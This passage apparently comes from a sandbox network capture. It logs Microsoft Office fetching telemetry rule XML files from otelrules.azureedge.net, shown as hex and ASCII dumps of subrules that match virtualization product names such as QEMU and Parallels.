version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	62410	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:06 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:06 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 538c9d0d-101e-0028-1c8c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030806Z-185f5d8b95cwtv72hC1NYC141w00000009ng0000000036n8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:06 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	62411	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:06 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:06 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 8e68b2a4-701e-005c-1a8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030806Z-185f5d8b95cdh56ghC1NYCk1x400000003h00000000071qg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:06 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	62412	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:06 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:06 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: f37cb76d-d01e-0017-2085-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030806Z-1777c6cb754n67brhC1TEBcp9c000000093000000000836s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:06 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	62413	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:06 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:06 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030806Z-r1d97b99577dd2gchC1TEBz5ys000000082g00000000cevr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:06 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	62414	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:07 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:07 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: af4852c5-601e-000d-3a8c-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030807Z-r1d97b99577brct2hC1TEBambg00000001yg00000000b66z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:07 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	62415	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:07 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:07 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 38897a0b-401e-000a-7a8c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030807Z-1777c6cb754xrr98hC1TEB3kag00000008vg000000009xqd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	62416	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:07 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:07 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030807Z-185f5d8b95cf7qddhC1NYC66an00000009rg000000009f3h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:07 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	62417	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:07 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:07 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:07 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: ccb8f84a-f01e-00aa-75f2-3a8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030807Z-185f5d8b95crwqd8hC1NYCps6800000009k000000000qt1b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 03:08:07 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	62418	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:07 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:07 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0cd4e810-101e-0079-148c-3a5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030807Z-r1d97b99577656nchC1TEBk98c00000008d00000000025zh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:07 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	62419	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:08 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:08 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d35eaebc-501e-0064-178c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030808Z-185f5d8b95ckwnflhC1NYCx9qs00000009m000000000v6bs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:08 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	62420	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:08 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:08 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 8d3bd1e1-301e-000c-7cf2-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030808Z-r1d97b99577jlrkbhC1TEBq8d0000000087g0000000033yh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:08 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	62421	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:08 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:08 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030808Z-1777c6cb7549j9hhhC1TEBzmcc00000008xg00000000bnds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
